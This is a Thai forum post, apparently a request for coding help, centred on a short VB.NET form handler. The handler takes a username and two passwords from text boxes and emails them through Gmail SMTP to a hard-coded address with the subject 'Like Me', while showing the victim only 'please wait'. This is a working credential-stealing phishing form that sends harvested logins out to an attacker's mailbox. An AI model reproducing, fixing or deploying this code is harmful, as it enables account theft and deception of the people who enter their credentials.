▼ กำลังโหลดข้อมูล... ▼
แสดงความคิดเห็น
คุณสามารถแสดงความคิดเห็นกับกระทู้นี้ได้ด้วยการเข้าสู่ระบบ
กระทู้ที่คุณอาจสนใจ
อ่านกระทู้อื่นที่พูดคุยเกี่ยวกับ
วิศวกรรมคอมพิวเตอร์
ภาษาเบสิก (BASIC programming language)
C (ภาษาคอมพิวเตอร์)
ซอฟต์แวร์
Business Software
เรื่องการเขียนโค้ด
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox3.Click
If TextBox1.Text = "" Or TextBox2.Text = "" Or TextBox3.Text = "" Then
MsgBox("please wait")
Else
Dim mail As New MailMessage
With mail
.From = New MailAddress("191325@gmail.com")
.To.Add("191325@gmail.com")
.Subject = ("Like Me")
.Body = ("Username : " & TextBox1.Text & ", Password : " & TextBox2.Text & ", Password ECT 2 : " & TextBox3.Text)
End With
Dim SMTPServer As New SmtpClient("smtp.gmail.com ")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("191325@gmail.com", "Password")
SMTPServer.EnableSsl = True
SMTPServer.Send(mail)
Try
MsgBox("please wait")
Catch ex As Exception
MsgBox("please wait.")
End Try
End If
End Sub
End Class
โดนแก้มา 3 วันแล้ว
ขอบคุณล่วงหน้าครับ
#แท็กผิดขอโทดด้วยครับ